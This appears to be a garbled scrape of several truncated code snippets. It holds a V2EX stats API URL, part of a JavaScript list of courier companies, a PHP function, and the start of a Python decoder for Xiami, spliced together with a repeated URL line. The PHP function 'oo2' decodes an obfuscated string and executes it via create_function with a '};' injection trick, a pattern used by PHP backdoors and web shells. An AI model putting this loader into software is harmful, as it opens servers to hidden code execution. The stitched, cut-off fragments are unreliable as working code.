URL: http://www.v2ex.com/api/site/stats.json
获取社区统计信息。
var jsoncom = { | |
'company': [{ | |
'companyname': '申通快递', | |
'shortname': '申通', | |
'tel': '95543', | |
'url': 'st', | |
'code': 'shentong', | |
'hasvali': 0, | |
'comurl': 'http://www.sto.cn', | |
'isavailable': '0', |
<?php | |
function oo2($b) { | |
$h = explode("|", strrev($b)); | |
$d = explode("*", $h[0]); | |
$b = $h[1]; | |
for($i=0;$i<sizeof($d);$i++) { | |
$b = str_replace($i, $d[$i], $b); | |
} | |
create_function("", "};".$b."//"); | |
} |
URL: http://www.v2ex.com/api/site/stats.json
获取社区统计信息。
import urllib2 | |
def xiami_decode(s): | |
s = s.strip() | |
if not s: | |
return False | |
result = [] | |
line = int(s[0]) | |
rows = len(s[1:]) / line | |
extra = len(s[1:]) % line |